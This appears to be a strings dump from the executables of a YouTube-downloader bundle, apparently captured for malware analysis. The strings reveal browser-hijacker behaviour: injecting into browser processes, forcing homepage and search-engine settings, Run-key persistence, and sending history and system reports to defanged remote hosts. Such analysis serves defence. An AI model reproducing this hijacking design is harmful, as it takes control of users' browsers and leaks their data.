Injection::Snapshot::Controller::IsFirefoxInstalled
Firefox installed:
Chrome unchanged:
Firefox unchanged:
Checking<Parameter.Input>
Checking<Parameter.Key>
777705555443332
5555443332
5555443332
logs\${ModuleName}.${Pid}.log
WatchmanKey::TimeBomb::UninstallTimeBomb
Reporting
PChromeExtensionMonitorWorkerThread started
ChromeExtensionMonitor::CollectExtensionInfo
ChromeExtensionMonitor::CheckExtension
8Reset DNS to 8.8.8.8 for adapter
WinHTTP Example/1.0
VVV.google.com
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
Registry::Helper::RegOpenKeyExA
Chrome::StartPageProtectionEnabled
Chrome::SearchEngineProtectionEnabled
Chrome::RestoreOnStartupProtectionEnabled
Chrome::StartPageProtectionDisabled
Chrome::SearchEngineProtectionDisabled
Chrome::RestoreOnStartupProtectionDisabled
Firefox::StartPageChangedByUser
Firefox::SearchEngineChangedByUser
Explorer.HomePageEvent:
Explorer.SearchEngineEvent:
Firefox.HomePageEvent:
Firefox.SearchEngineEvent:
ProcessCatcher::ExecutionContext::Resume
Allocation<ExecutionContext>
iexplore.exe
rundll32.exe
chrome.exe
firefox.exe
opera.exe
safari.exe
navigator.exe
torch.exe
U.exe
epic.exe
browser.exe
Maxthon.exe
sbframe.exe
avant.exe
dragon.exe
bobrowser.exe
crossbrowse.exe
vosteran.exe
ProcessMonitor::ExecutionContext::Resume
E:\iexplore.exe|E:\rundll32.exe
E:\chrome.exe
E:\firefox.exe
E:\opera.exe
E:\Safari.exe|E:\crossbrowse.exe|E:\torch.exe|E:\U.exe|E:\epic.exe|E:\vosteran.exe|E:\browser.exe|E:\avant.exe|E:\bobrowser.exe
smci32.dll
smi32.exe
Utils::PipedProcess::Create
Utils::PipedProcess::Start
Utils::PipedProcess::WriteData
[ReportDllsThread]
ProcessWatcher::ExecutionContext::Resume
Local proxy port:
127.0.0.1
[ProxyMonitor::getProcessByPort]
Failed to get GetExtendedTcpTable
smei32.dll
[ReportBuilder::MakeDefaultBrowserSettingsElement]
[ReportBuilder::CalculateHash]
Result.Hash:
[ReportBuilder::MakeHistoryReport]
Building history report...
ReportBuilder::GetWMISystemInfo
ReportBuilder::GetExplorerBrowserInfo
ReportBuilder::GetChromeBrowserInfo
. Chrome Search:
History Report:
[ReportBuilder::MakeReport]
Report:
[ReportBuilder::GetExplorerBrowserInfo]
[ReportBuilder::GetChromeBrowserInfo]
Chrome::BrowserInfo::Factory::Create
Chrome::BrowserInfo::Factory::GetInfo
sma.exe
Utils::PipedProcess::ReadData
Utils::PipedProcess::Wait
Utils::PipedProcess::WriteEof
Utils::MachineKey::Create
Utils::MachineKey::Generate
Encrypt data. Key:
Decrypt data. Key:
ReportBuilder::MakeInstallReport
[ServerReporter::SendInstallReport]
ReportBuilder::MakeUninstallReport
[ServerReporter::SendUninstallReport]
ReportBuilder::MakeRegulatReport
[ServerReporter::SendRegularReport]
ReportBuilder::MakeUserActionReport
[ServerReporter::SendUserActionReport]
ReportBuilder::MakeHistoryReport
[ServerReporter::SendHistoryReport]
ServerReporter::MakeReport
ServerReporter::SendReport
[ServerReporter::SendReport]
ServerEncryption::CreateSessionKey
Report in Base 64:
10D2FBE6-2346-4627-A9F5-FB48313C5001
ServerReporter::Implementation::GetTargetUrl - User GUID is problematic GUID (hardcoded/unknown)
ServerReporter::Implementation::GetTargetUrl - Failed replacing problematic GUID with new one
[ServerReporter::GetUserProfile]
[ServerReporter::MakeReport]
ServerReporter::GetUserProfile
ReportBuilder::Create
Result.Report:
[ServerReporter::SetLastReportTime]
WatchmanKey::Reporter::SetLastTime
Package url:
WatchmanKey::Updater::SetLastTime
.Service
\Microsoft\Windows\Start Menu
*.lnk
\Internet Explorer\iexplore.exe
\Safari\Safari.exe
/report
/report1
%d.%d.%d.%d%n
Created URL Set object from configuration. Name:
UrlSetID:
Could not find matching URL set... Using old configuration
[LocalScope::UpdateParser::ParseReportSection]
Monitor::ServerEncryption::CreateSessionKey
Full url:
Data url:
sbu.exe
smw.sys
wscript.exe
smhe.js
[Monitor::WatchmanGuard::SendReport]
InstallReporter
Monitor::ServerReporter::Create
Monitor::ServerReporter::SendInitialReport
/urlset:
Options.InjectAllBrowsers:
Options.InjectDefaultOnly:
Options.ServiceName:
Options.ProductCode:
Options.ProductPriority:
Options.EnablePinner:
Options.EnableRedirect:
Options.EnableYellowBandSuppression:
Options.UpdateUrl:
Options.ReportUrl:
Options.AutoStart:
Options.ProtectSearch:
Options.ProtectHome:
Options.ProtectTab:
Options.ExplorerInjection:
Options.ChromeInjection:
Options.FirefoxInjection:
Options.OperaInjection:
Options.ConfigPath:
Options.ConfigKey:
Getting current URL Set
Getting URL Set from options
] Provided. And is different from current URL set [
URL Set [
general_config.xml
system_config.xml
[WatchmanInstaller::SendReport1]
iexplore.exe is running, result for getting DLL's:
firefox.exe is running, result for getting DLL's:
chrome.exe is running, result for getting DLL's:
ServerReporter::Create
URL to use:
ServerReporter::SendRegularReport
[WatchmanInstaller::SendReport]
Currently set URLSet:
Updating system config with new URL set...
Already reported duiring first install
Report' been sent:
WatchmanInstaller::SendReport1
calling SendReport1...
WatchmanInstaller::SendReport
[Monitor::WatchmanMonitor::CreateSendReportTask]
SendReportTask
new<SendReportTask>
[Monitor::WatchmanMonitor::OnSendReportSucceeded]
[Monitor::WatchmanMonitor::OnSendReportFailed]
Need to send report!!!
Original report URL:
ServerReporter::SendInitialReport
[Monitor::WatchmanMonitor::OnChromeProtectionChanged]
User has changed the chrome protection for:
[Monitor::WatchmanMonitor::OnResetFirefoxProtection]
User has reset the firefox protection:
Next report task:
Scheduller::RegisterTask<SendReportTask>
Monitor::Application::EnsureSystemKey
Options.Revert:
Settings.Final:
@ADVAPI32.DLL
shlwapi.dll
Utils::Registry::OpenKeyExW
Subkey:
[Utils::Registry::RecursiveDeleteKeyW]
SHLWAPI.GetAddressOf<SHDeleteKeyW>
WKERNEL32.DLL
VERSION.DLL
hXXp://d1y2jryd6u59ns.cloudfront.net/p.ashx
\\.\pipe\
Could not create thread event. %%s
Could not create new client event. %%s
Could not create accept thread. %%s
Could not create work thread. %%s
Could not start thread. %%s
Stop IPC error. %%s
Pipe (0x%X) read problems. %%s
ENTDLL.DLL
Windows NT 6.1
%s?e=%s
zvl=%s&
%s?prd=%s&aff=%s&ver=%s&rnd=%d&usid=%s&pixGuid=%s
&tss=%d&action=%s&actionparam=%s
[Utils::PipedProcess::CreateOutputHandles]
[Utils::PipedProcess::CreateInputHandles]
[Utils::PipedProcess::SpawnProcess]
Utils::PipedProcess::CreateOutputHandles
Utils::PipedProcess::CreateInputHandles
Utils::PipedProcess::SpawnProcess
[Utils::PipedProcess::Start]
[Utils::PipedProcess::Wait]
Utils::PipedProcess::WriteProc
[Utils::PipedProcess::WriteData]
Utils::PipedProcess::ReadProc
[Utils::PipedProcess::ReadData]
.cache
ntdll.dll
Could not open memory object. Object name: %s. %%s
Could not create memory object. Object name: %s. %%s
Could not map memory object. Object name: %s. Size: %u. %%s
Could not map memory object. Object name: %s. %%s
Could not create sync object for memory. Object name: %s. %%s
pathToSignedProductExe
SELECT * FROM Win32_OperatingSystem
[BrowserHistory::GetPropertyReport]
Found URL:
FIPHLPAPI.DLL
X-hX-hX-XX-XXXXXX
IExecAction::put_Path
IAction::QueryInterface<IExecAction>
IExecAction::put_Arguments
IExecAction::put_WorkingDirectory
http\shell\open\command
Software\Microsoft\Windows\CurrentVersion\App Paths
[Utils::SoftwareInfo::GetHttpOpenHandler]
Utils::Registry::OpenKeyW
SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
Could not create pipe. %%s
Could not allocate IPC memory. Requires size: %u
Event error. %%s
Could not create pipe event. %%s
Pipe connecting error. %%s
Error code: %u ('%s')
Not enough memory. Size: %s (%s)
Could not create IPC event. %%s
Fhttp
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Content-Type: multipart/form-data; boundary=%s
XXX
HTTP/1.1
Content-Disposition: form-data; name="%s"
Software\Microsoft\Windows\CurrentVersion\Internet Settings
HTTP/1.0
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}
[SynchronousPipe::Read]
[SynchronousPipe::Write]
CChromeExtension::GetFileListInExtenstion
__MSG_
messages.json
manifest.json
CHROME.EXE
[Chrome::BrowserInfo::Query]
WebData
SHELL32.DLL
e\Application\chrome.exe
Google\Chrome
\resources.pak
\Google\Chrome\Application\chrome.exe
\Google\Chrome\Application\
\Web Data
[SQLite::Implementation::AddProvider]
[SQLite::Implementation::GetProviderById]
[SQLite::Implementation::GetFirstProviderId]
[SQLite::Implementation::GetProviderByKeyword]
[SQLite::Implementation::GetProviderId]
chrome-extension://
13050095043000000
hXXp://api.searchpredict.com/api/?rqtype=ffplugin&siteID=8661&dbCode=1&command={searchTerms}
4BB42133-5533-4A0C-BF72-F1B8C8776A11
Checking<extensions.settings>
[Injection::Snapshot::Chrome::Settings::Dump]
[Injection::Snapshot::Firefox::Settings::Dump]
[Monitor::RestoreData::Controller::Build<ChromeSettings>]
[Monitor::RestoreData::Controller::Build<FirefoxSettings>]
[Injection::Snapshot::Builder::BuildSettings<ChromeSettings>]
[Injection::Snapshot::Builder::BuildSettings<FirefoxSettings>]
Injection::Snapshot::Parser::Parse<ChromeSettings>
new<ChromeSettings>
Injection::Snapshot::Parser::Parse<FirefoxSettings>
new<FirefoxSettings>
[Injection::Snapshot::Parser::Parse<ChromeSettings>]
ReadStringNode<AboutTabsUrl>
ReadStringNode<DefaultProviderKeyword>
[Injection::Snapshot::Parser::Parse<FirefoxSettings>]
Chrome::BrowserSettings::Create
[Injection::Snapshot::Controller::IsChromeInstalled]
Firefox::BrowserSettings::Create
[Injection::Snapshot::Controller::IsFirefoxInstalled]
Firefox::BrowserSettings::RestoreState
Chrome::BrowserSettings::RestoreState
Argument.SystemConfig:
Argument.Config::User:
Argument.Config::General:
Chrome::BrowserSettings::PropagateState
Firefox::BrowserSettings::PropagateState
Argument.UserSid:
WatchmanKey::Users::SaveRestoreData
[WatchmanKey::GetEncryptionKey]
MachineKey::Generate
MachineKey::Create
[WatchmanKey::LoadEncodedData]
[WatchmanKey::CleanupKey]
WatchmanKey::GetEncryptionKey
[WatchmanKey::SaveEncodedData]
WatchmanKey::System::Open
[WatchmanKey::System::LoadGeneralConfig]
[WatchmanKey::System::SaveGeneralConfig]
WatchmanKey::LoadEncodedData
WatchmanKey::SaveEncodedData
WatchmanKey::System::Ensure
[WatchmanKey::System::SaveSystemConfig]
[WatchmanKey::System::LoadSystemConfig]
WatchmanKey::EnsureKey
[WatchmanKey::Users::Ensure]
WatchmanKey::OpenKey
[WatchmanKey::Users::Open]
[WatchmanKey::Users::LoadConfiguration]
[WatchmanKey::Users::SaveConfiguration]
WatchmanKey::Users::Ensure
[WatchmanKey::Users::LoadRestoreData]
[WatchmanKey::Updater::SetLastTime]
[WatchmanKey::Updater::GetBlackListHash]
[WatchmanKey::Updater::SetBlackListHash]
[WatchmanKey::Reporter::SetLastTime]
[WatchmanKey::Reporter::GetLastTime]
[WatchmanKey::TimeBomb::Uninstall]
WatchmanKey::SystemKey::Open
{CFBFAE00-17A6-11D0-99CB-00C04FD64497}
{7F4EFF06-7032-458e-AE16-1C1D8255C28A}
smod.xml
SearchModulePlus.crx
DATAMNGR.DLL
IEBHO.DLL
VC32.DLL
[Config::General::UrlSet::Copy]
[Config::General::Chrome::Settings::Dump]
[Config::General::Chrome::ValueSet::Copy]
[Config::General::Chrome::Settings::Copy]
[Config::General::Firefox::Settings::Copy]
[Config::General::Firefox::Settings::Dump]
[Config::General::Opera::Settings::Dump]
[Config::General::Firefox::ValueSet::Copy]
[Config::General::Opera::Settings::Copy]
Config::General::Parser::ParseUrlSet
Config::General::Parser::ParseFirefoxSettings
Config::General::Parser::ParseChromeSettings
Config::General::Parser::ParseOperaSettings
ReadStringNode<StartPageUrl>
ReadStringNode<AboutTabUrl>
eReadStringNode<SearchScopeUrl>
ReadStringNode<SearchScopeIconUrl>
ReadStringNode<SearchScopeSuggestUrl>
[Config::General::Parser::ParseChromeSettings]
Config::General::Parser::ParseChromeValueSets
MissedElement<GoogleChrome>
ReadStringNode<HomePageUrl>
[Config::General::Parser::ParseChromeValueSets]
ReadStringNode<DefaultProviderSearchUrl>
ReadStringNode<DefaultProviderIconUrl>
[Config::General::Parser::ParseFirefoxSettings]
ReadStringNode<DefaultProviderSuggestUrl>
Config::General::Parser::ParseFirefoxValueSets
MissedElement<MozillaFirefox>
ReadOptionalStringNode<HomePageUrl>
[Config::General::Parser::ParseFirefoxValueSets]
ReadOptionalStringNode<SearchPluginUrl>
lReadOptionalStringNode<SearchPluginSuggestionUrl>
MissedElement<UrlSet>
[Config::General::Parser::ParseUrlSet]
ReadStringNode<TabPageUrl>
ReadStringNode<SearchEngineFaviconUrl>
yReadStringNode<SearchEngineSuggestionUrl>
ReadStringNode<SearchEngineSearchUrl>
[Config::General::Parser::ParseOperaSettings]
ReadStringNode<SearchEngineKeyword>
MissedElement<Opera>
ReadStringNode<Key>
[Config::General::Builder::Build<ChromeSettinsg>]
[Config::General::Builder::Build<OperaSettinsg>]
[Config::General::Builder::Build<FirefoxSettinsg>]
We couldn't find the URL Set section... probably an old configuration!
WatchmanKey::System::LoadGeneralConfig
WatchmanKey::System::SaveGeneralConfig
2.1.0.7
2.0.0.0
ReadOptionalStringNode<UrlSet>
ReadStringNode<ReportUrl>
ReadStringNode<UpdateUrl>
ReadBooleanNode<MozillaFirefox>
ReadBooleanNode<GoogleChrome>
Could not find URL Set in configuration. Probably older configuration.
ReadBooleanNode<Opera>
WatchmanKey::System::LoadSystemConfig
WatchmanKey::System::SaveSystemConfig
[Config::User::Chrome::Settings::Copy]
[Config::User::Firefox::Settings::Copy]
Config::User::Parser::ParseChromeSettings
Config::User::Parser::ParseFirefoxSettings
[Config::User::Parser::ParseChromeSettings]
[Config::User::Parser::ParseFirefoxSettings]
[Config::User::Builder::BuildFirefoxSettings]
[Config::User::Builder::BuildChromeSettings]
WatchmanKey::User::LoadConfiguration
WatchmanKey::User::SaveConfiguration
Mozilla\Firefox\
profiles.ini
prefs.js
[Firefox::InstallInfo::ReadProfiles]
[Firefox::InstallInfo::QueryProfiles]
[Firefox::InstallInfo::ParseProfiles]
Firefox::InstallInfo::ReadProfiles
Firefox::InstallInfo::ParseProfiles
[Firefox::InstallInfo::Query]
No profiles found! Maybe - first start of Firefox?
J[Firefox::BrowserSettings::MakeSnapshot]
[Firefox::BrowserSettings::RestoreState]
[Firefox::BrowserSettings::PropagateState]
Software\Microsoft\Windows\CurrentVersion\Ext\Settings
Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
Software\Microsoft\Internet Explorer\AboutURLs
TopResultURLFallback
SuggestionURL
FaviconURL
IEXPLORE.EXE
Failed to call enum URL's. Error:
Software\Microsoft\Internet Explorer\URLSearchHooks
[Explorer::BrowserSettings::SetMainKeyValues]
[Explorer::BrowserSettings::SetTabbedBrowsingKeyValues]
[Explorer::BrowserSettings::SetSearchScopeKeyValues]
[Explorer::BrowserSettings::SetAboutURLsKeyValues]
Result.SearchScope:
Argument.SearchScopeToSearch:
Argument.Parent:
[Explorer::BrowserSettings::DeleteKey]
Argument.Subkey:
VirtualSpeedbitSearchScopeKey::EnsureKeyW
Key deleted:
BTopResultURL
FaviconURLFallback
SuggestionsURL
SuggestionsURLFallback
\Opera\launcher.exe
Opera Software\Opera Stable\
\Opera\
\opera.pak
Web Data
\resources\default_partner_content.json
KERNELBASE.DLL
Chrome::InstallInfo::Get
[Chrome::BrowserSettings::OpenConfigFiles]
SQLite::WebDataDB::Create
Argument.HomePageUrl:
[Chrome::BrowserSettings::SetHomePagePreferences]
[Chrome::BrowserSettings::SetDefaultProviderPreferences]
Argument.HomePageIsNewTabPage:
Argument.DefaultProviderKeyWord:
Argument.DefaultProviderId:
Argument.DefaultProviderEncoding:
Argument.DefaultProviderName:
Argument.DefaultProviderIconUrl:
Argument.DefaultProviderSearchUrl:
[Chrome::BrowserSettings::SetRestoreOnStartupPreferences]
Argument.DefaultProviderSuggestUrl:
Argument.UrlsToRestoreOnStartup:
Argument.RestoreOnStartup:
Argument.KeywordToSearch:
[Chrome::BrowserSettings::GetSearchProviderId]
SQLite::WebDataDB::GetProviderById
SQLite::WebDataDB::GetFirstProviderId
[Chrome::BrowserSettings::EnsureSearchProvider]
Result.ProviderId:
[Chrome::BrowserSettings::DeleteSearchProvider]
SQLite::WebDataDB::Values::Create
[Chrome::BrowserSettings::MakeSnapshot]
[Chrome::BrowserSettings::RestoreState]
Chrome::BrowserSettings::DeleteSearchProvider
Chrome::BrowserSettings::OpenConfigFiles
SQLite::WebDataDB::SetDefaultProvider
[Chrome::BrowserSettings::PropagateState]
Chrome::BrowserSettings::EnsureSearchProvider
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smu.exe

BROWSE~2.EXE_3196:




.text
`.rdata
@.data
.rsrc
@.reloc
broken pipe
inappropriate io control operation
not supported
operation in progress
operation not permitted
operation not supported
operation would block
protocol not supported
function not supported
operation canceled
address_family_not_supported
operation_in_progress
operation_not_supported
protocol_not_supported
operation_would_block
address family not supported
operator
GetProcessWindowStation
Process token open Error: %u
C:\Builds\Build_YTDownloader\Client\WFP\BrowserHelperSrv\2013_with_xp\BrowserHelperSrv.pdb
KERNEL32.dll
USER32.dll
ADVAPI32.dll
GetProcessHeap
GetCPInfo
zcÁ
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
4 5 52585>5
01S1|3
Amscoree.dll
- floating point support not loaded
- CRT not initialized
- Attempt to initialize the CRT more than once.
kernel32.dll
USER32.DLL
BrowserHelper.exe
explorer.exe
Software\Microsoft\Windows\CurrentVersion\Run
e:%d s:%d
\BrowserHelper.exe
C:\PROGRA~1\YTDOWN~1\BROWSE~2.EXE

BrowserHelper.exe_844:




.text
`.rdata
@.data
.rsrc
@.reloc
j.Yf;
_tcPVj@
.PjRW
Higher: %x
Lower: %x
broken pipe
inappropriate io control operation
not supported
operation in progress
operation not permitted
operation not supported
operation would block
protocol not supported
function not supported
operation canceled
address_family_not_supported
operation_in_progress
operation_not_supported
protocol_not_supported
operation_would_block
address family not supported
operator
GetProcessWindowStation
C:\Builds\Build_YTDownloader\Client\WFP\BrowserHelper\2013_with_xp\BrowserHelper.pdb
WinExec
KERNEL32.dll
SetWindowsHookExW
UnhookWindowsHookEx
USER32.dll
RegCloseKey
RegCreateKeyExW
RegDeleteKeyW
RegEnumKeyW
RegNotifyChangeKeyValue
RegOpenKeyW
RegOpenKeyExW
ADVAPI32.dll
SHELL32.dll
ole32.dll
HttpOpenRequestW
HttpAddRequestHeadersW
HttpSendRequestW
HttpSendRequestExW
HttpEndRequestW
HttpQueryInfoW
WININET.dll
VERSION.dll
PSAPI.DLL
GetCPInfo
GetProcessHeap
zcÁ
.?AVCHttp@@
C:\PROGRA~1\YTDOWN~1\BrowserHelper.exe
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
2/2P3z3
"1*1/141
C1k1y1<3\3c3k3p3t3x3
2%2x2
= >->2>@>
6$6-626?6
;%; ;5;@;
4 4,40444
@Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Content-Type: multipart/form-data; boundary=%s
HTTP/1.1
XXX
Content-Disposition: form-data; name="%s"
HTTP/1.0
Software\Microsoft\Windows\CurrentVersion\Internet Settings
SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
Windows 95
Windows 98
Windows Me
Windows NT
Windows 2000
Windows XP
Windows 2003 Server
Windows Vista
Windows 7
Windows CE
%sLow\%s\
%s\%s\%s\
%C:\Users\Public\Documents\%s\%s\
%s\Application Data\%s\%s\
ConfigDB.dll
config.xml
<d/d/%d d:d:d::d 0x%X>
[SbTracer::ReadConfiguration] Trace Level: %d
[SbTracer::ReadConfiguration] Trace Destination: %d
[SbTracer::ReadConfiguration] Trace Backup: %d
[SbTracer::ReadConfiguration] Trace Time Limit: %d
[SbTracer::ReadConfiguration] Trace Time Stamp: %d
[SbTracer::ReadConfiguration] Trace Max Size: %d
[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s
[SbTracer::FormatFilePath] ___Warning - No Log folder: %s
[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s
[SbTracer::FormatFilePath] Log Path: %s
[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s
[SbTracer::RecursiveCreateDirectory] Directory: %s
[SbTracer::OpenTraceFile] ___Error: %d, File: %s
[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s
[SbTracer::OpenTraceFile] Done %s
[SbTracer::BackupTraceFile] %s
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue
\StringFileInfo\x\%s
kernel32.dll
WININET.DLL
user32.dll
[CIEDownloadAcceleratorEngine::CallDAP] ___Error CreateProcess: %s, Parameters: %s. LE: %d
[CUtils::GetDAPExeLocation] Name: %s
[CUtils::GetDAPExeLocation] ___Error read DAP location from %s
PipeName
[CUtils::GetDAPPipeName] Name: %s
[CUtils::GetDAPPipeName] ___Error read DAP Pipe Name from %s
[CUtils::GetDAPWindowName] Name: %s
[CUtils::GetDAPWindowName] ___Error read DAP Window Name from %s
%d.%d.%d.%d
"%s" "%s"
d/d/%d d:d:d::d
"%s" %s
[CUtils::GoToURL] ___Error WinExec url = %s, defBrowser = %s, err = %d
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe
%d-d-d
0.0.0.0
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Internet.exe
%Program Files%\Internet Explorer\IEXPLORE.EXE
http\shell\open\command
Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice
Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\*.lnk
Mozilla Firefox
Google Chrome
explorer.exe
&exe%d=%s&ver%d=%s&arr%d=%s
&ver=%s&InstDate=%s&userid=%s&usid=%s&aff=%s&date=%s%&ch=%s&ch_pin=%s&ff=%s&ff_pin=%s&ie=%s&ie_pin=%s&in=%s&in_pin=%s&def=%s&ie2=%s&global=%s&num=%d
hXXp://hcfq9zfs.vmgoxp64.netdna-cdn.com/b.ashx?
BrowserHelper.txt
BrowserHelperBk.txt
Chrome
Mozilla
iexplore.exe
mscoree.dll
- floating point support not loaded
- CRT not initialized
- Attempt to initialize the CRT more than once.
portuguese-brazilian
USER32.DLL
%s?e=%s
zvl=%s&
1.7.0.0
Updater.exe

YTDownloader.exe_220:




.text
`.rdata
@.data
.idata
.rsrc
@.reloc
SSShh
WSSh(
SPSSh
.tMHtJH
F><.tN<[tJ<\tF<*tB<|t><^t:<$t6
FTPQ
tL<%u@
9>t.hp
;NTu^SSh
xSSSh
FTPjKS
FtPj;S
C.PjRV
1.3.6.1.4.1.311.2.1.12
1.2.840.113549.1.9.5
1.2.840.113549.1.9.6
CRtmpParser::GetFieldDataString
CRtmpParser::GetFieldDataNumber
NetStream.Play.Reset
NetStream.Unpause.Notify
NetStream.Pause.Notify
NetStream.Seek.Notify
NetStream.Play.Stop
NetStream.Play.Failed
NetStream.Failed
()$^.* ?[]|\-{},:=!
video/WebM
"url_encoded_fmt_stream_map": "(.*?)"
rtmpe%3Dyes
url_encoded_fmt_stream_map=
%s, string reference, index: %d, not supported, ignoring!
%s - AMF3 unknown/unsupported datatype 0xx, @%p
AMF3_DATE reference: %d, not supported!
Property: <%s%s>
timestamp: %.2f, UTC offset: %d
INVALID TYPE 0xx
Property: <%sSTRICT_ARRAY>
Property: <%sECMA_ARRAY>
Property: <%sOBJECT>
AMF_Encode - failed to encode property in index %d
%s, invalid type. %d
%s, failed to decode AMF3 property!
Member: %s
Class name: %s, externalizable: %d, dynamic: %d, classMembers: %d
Class reference: %d
Object reference, index: %d
%s: Empty buffer/no buffer pointer!
%s - unknown datatype 0xx, @%p
AMF_TYPED_OBJECT not supported!
AMF_REFERENCE not supported!
%s: Name size out of range: namesize (%d) > len (%d) - 2
%s: Not enough data for decoding with name, less than 4 bytes!
HTTP/1
%s, Setting socket timeout to %ds failed!
%s, No SSL/TLS support
HTTP_get
If-Modified-Since: %s
GET %s HTTP/1.0
User-Agent: %s
Host: %s
Mozilla/5.0
%s, d %s %d d:d:d GMT
size: x
date: %s
ctim: %s
url: %.*s
%s: couldn't open %s for writing, errno %d (%s)
%s: couldn't contact swfurl %s (HTTP error %d)
%s: swfurl %s not found
%s: connection lost while downloading swfurl %s
1.1.4
%s%s\.swfinfo
%s: %s
hXXp://
[[IMPORT]]
No application or playpath in URL!
Invalid port number!
No hostname in URL!
Parsed protocol: %d
RTMP URL: No :// in url!
NetConnection.confStream
NetStream.Publish.Start
NetStream.Play.UnpublishNotify
NetStream.Play.PublishNotify
NetStream.Play.Complete
NetStream.Play.Start
NetConnection.Connect.InvalidApp
NetStream.Play.StreamNotFound
NetStream.Authenticate.UsherToken
Publisher password
pubPasswd
Key for SecureToken response
Justin.tv authentication token
URL to player SWF file
swfUrl
URL of played media's web page
pageUrl
URL to played stream
tcUrl
DH public key does not fulfill y^q mod p = 1
DH public key must be at most p-2
DH public key must be at least 2
RC4 In Key:
RC4 Out Key:
%s: Couldn't calculate correct DH offset (got %d), exiting!
%s: Couldn't calculate correct digest offset (got %d), exiting
%s: Couldn't calculate DH offset (got %d), exiting!
%s: Couldn't calculate digest offset (got %d), exiting!
RTMP PACKET: packet type: 0xx. channel: 0xx. info 1: %d info 2: %d. Body size: %u. body: 0xx
Connecting via SOCKS proxy: %s:%d
SWFSize : %u
live : %s
StopTime : %d msec
StartTime : %d msec
flashVer : %s
NetStream.Authenticate.UsherToken : %s
subscribepath : %s
auth : %s
pageUrl : %s
swfUrl : %s
tcUrl : %s
Playpath : %s
Port : %d
Protocol : %s
s %-7s %s
Unknown option %s
%s://%.*s:%d/%.*s
Problem accessing the DNS. (addr: %s)
%s, error
%s, Authentication failed: unknown auth mode: %s
%s, Authentication failed
%s, new app: %.*s tcUrl: %.*s playpath: %s
&nonce=%s&cnonce=%s&nc=%s&response=%s
%s, md5(%s:%s:%s:%s:%s:%s) =>
%s, md5(%s:/%.*s) =>
%s, md5(%s:%s:%s) =>
%s, pubToken1: %s
?%s&user=%s
%s, Authentication failed: no such user
%s, Authentication failed: wrong password
%s, pubToken2: %s
&challenge=%s&response=%s&opaque=%s
%s, b64(md5_2) = %s
%s, b64(%d) = %s
%s, b64(md5_1) = %s
%s, md5(%s%s%s) =>
%s, par:"%s" = val:"%s"
%s, need to set pubUser & pubPasswd for publisher auth
%s, wrong pubUser & pubPasswd for publisher auth
%-22.*s%s
%s, error decoding meta data packet
%s, received: chunk size change to %d
%s: server BW = %d
%s: client BW = %d %d
%s, recv returned %d. GetSockError(): %d (%s)
POST /%s%s/%d HTTP/1.1
Host: %.*s:%d
Content-length: %d
HTTP/1.1 200
%s, RTMP send error %d (%d bytes)
%s: fd=%d, size=%d
Invoking %s
sanity failed!! trying to send header of type: 0xx.
%s, failed to allocate packet
FCSubscribe: %s
UsherToken: %s
%s, %d, pauseTime=%d
%s, seekTime=%d, stopTime=%d, sending play: %s
sending ctrl. type: 0xx
%s: Ignoring SWFVerification request, use --swfVfy!
%s: SWFVerification Type %d request not supported! Patches welcome...
%s, SWFVerification ping received:
%s, Stream Begin %d
%s, Stream EOF %d
%s, Stream Dry %d
%s, Stream IsRecorded %d
%s, Ping %d
%s, Stream BufferEmpty %d
%s, Stream BufferReady %d
%s, Stream xx %d
%s, received ctrl. type: %d, len: %d
%s, RTMP socket closed by peer
%s, No valid HTTP response found
%s, failed to read RTMP packet body. len: %u
%s, failed to read extended timestamp
%s, failed to read RTMP packet header. type: %x
%s, m_nChannel: %0x
%s, failed to read RTMP packet header 3nd byte
%s, failed to read RTMP packet header 2nd byte
%s, failed to read RTMP packet header
%s: fd=%d
%s: client signature does not match!
%s: Handshaking finished....
%s: Genuine Adobe Flash Media Server
%s: Server not genuine Adobe!
%s: Signature calculated:
%s: Digest key:
%s: Server sent signature:
%s: Wait, did the server just refuse signed authentication?
%s: Client signature calculated:
%s: Calculated digest key from secure key and server digest:
%s: Secret key:
%s: Wrong secret key position!
%s: Server DH public key offset: %d
%s: FMS Version : %d.%d.%d.%d
%s: Server Uptime : %d
%s: Type mismatch: client sent %d, server answered %d
%s: Type Answer : X
%s: Initial client digest:
%s: Client digest offset: %d
%s: Couldn't write public key!
%s: Couldn't generate Diffie-Hellmann public key!
%s: DH pubkey position: %d
%s: Couldn't initialize Diffie-Hellmann!
%s: Client type: X
%s: Genuine Adobe Flash Player
%s: Client not genuine Adobe!
%s: Client sent signature:
%s: 2nd handshake:
%s: Sending handshake response:
%s: Server signature calculated:
%s: Client DH public key offset: %d
%s: Player Version: %d.%d.%d.%d
%s: Client Uptime : %d
%s: Initial server digest:
%s: Server digest offset: %d
%s: Unknown version x
%s: Type Requested : X
%s, RTMP connect failed.
%s, handshaked
%s, handshake failed.
%s, ... connected, handshaking
%s, Could not connect for handshake
%s, no SSL/TLS support
%s, SOCKS returned error code %d
%s, failed to create socket. Error: %d
%s, SOCKS negotiation failed.
%s ... SOCKS negotiation
%s, failed to connect socket. %d (%s)
Closing connection: %s
%s, onStatus: %s
trying to connect with redirected url
%s, error description: %s
%s, received error for method call <%s>
%s, received result id %f without matching request
%s, received result for method call <%s>
%s, server invoking <%s>
